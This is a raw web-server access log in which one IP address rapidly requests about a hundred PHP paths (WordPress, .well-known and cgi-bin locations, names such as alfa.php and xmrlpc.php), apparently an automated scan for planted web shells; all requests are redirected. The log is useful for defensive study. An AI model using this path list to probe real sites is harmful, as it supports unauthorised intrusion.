91.199.118.49 - - [25/Apr/2025:11:21:14 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:14 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:14 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:14 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:15 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 91.199.118.49 - - [25/Apr/2025:11:21:15 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.199.118.49 - - [25/Apr/2025:11:21:15 -0400] "GET /wp-includes/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:15 -0400] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:16 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:16 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 91.199.118.49 - - [25/Apr/2025:11:21:17 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 91.199.118.49 - - [25/Apr/2025:11:21:17 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:17 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.199.118.49 - - [25/Apr/2025:11:21:18 -0400] "GET /aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:18 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:18 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:18 -0400] "GET /dr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:19 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:19 -0400] "GET /wp-admin/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 91.199.118.49 - - [25/Apr/2025:11:21:19 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:19 -0400] "GET /ay.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:19 -0400] "GET /wordpress/wp-admin/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:20 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:21:20 -0400] "GET /wp-content/plugins/ioptimization/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 91.199.118.49 - - [25/Apr/2025:11:21:20 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:20 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:21 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:21 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:21 -0400] "GET /yy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 91.199.118.49 - - [25/Apr/2025:11:21:21 -0400] "GET /.well-known/pki-validation/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:21:22 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:22 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:22 -0400] "GET /tr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:22 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:22 -0400] "GET /wp-includes/css/dist/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:23 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:23 -0400] "GET /aq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 91.199.118.49 - - [25/Apr/2025:11:21:23 -0400] "GET /yu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:23 -0400] "GET /gt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:24 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:24 -0400] "GET /op.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.199.118.49 - - [25/Apr/2025:11:21:24 -0400] "GET /l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:25 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:25 -0400] "GET /update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:25 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:25 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:26 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:26 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:26 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:26 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:27 -0400] "GET /er.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 91.199.118.49 - - [25/Apr/2025:11:21:27 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:27 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:27 -0400] "GET /ssa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:27 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:28 -0400] "GET /hardenX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:28 -0400] "GET /.qiofetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:28 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:28 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 91.199.118.49 - - [25/Apr/2025:11:21:28 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:29 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:29 -0400] "GET /images/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:29 -0400] "GET /new2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:29 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 91.199.118.49 - - [25/Apr/2025:11:21:30 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:30 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:30 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:30 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 91.199.118.49 - - [25/Apr/2025:11:21:30 -0400] "GET /ki.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:31 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:31 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:32 -0400] "GET /about/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:32 -0400] "GET /wp-admin/images/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 91.199.118.49 - - [25/Apr/2025:11:21:32 -0400] "GET /wp-content/plugins/cp-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:32 -0400] "GET /wp-includes/css/dist/components/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:33 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:33 -0400] "GET /tt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:34 -0400] "GET /uu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 91.199.118.49 - - [25/Apr/2025:11:21:34 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:34 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:34 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 91.199.118.49 - - [25/Apr/2025:11:21:35 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:21:35 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:35 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:35 -0400] "GET /css/xa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:35 -0400] "GET /sk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:36 -0400] "GET /wordpress/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:36 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:36 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.199.118.49 - - [25/Apr/2025:11:21:36 -0400] "GET /wordpress/wp-includes/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:37 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:37 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:37 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:37 -0400] "GET /bgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:37 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:38 -0400] "GET /an.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 91.199.118.49 - - [25/Apr/2025:11:21:38 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:38 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:38 -0400] "GET /test.php/wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:38 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:39 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:39 -0400] "GET /wp-content/themes/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:39 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:39 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 91.199.118.49 - - [25/Apr/2025:11:21:39 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:40 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:40 -0400] "GET /la.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:40 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:21:40 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:41 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:21:41 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.199.118.49 - - [25/Apr/2025:11:21:41 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.199.118.49 - - [25/Apr/2025:11:21:41 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:42 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:42 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:42 -0400] 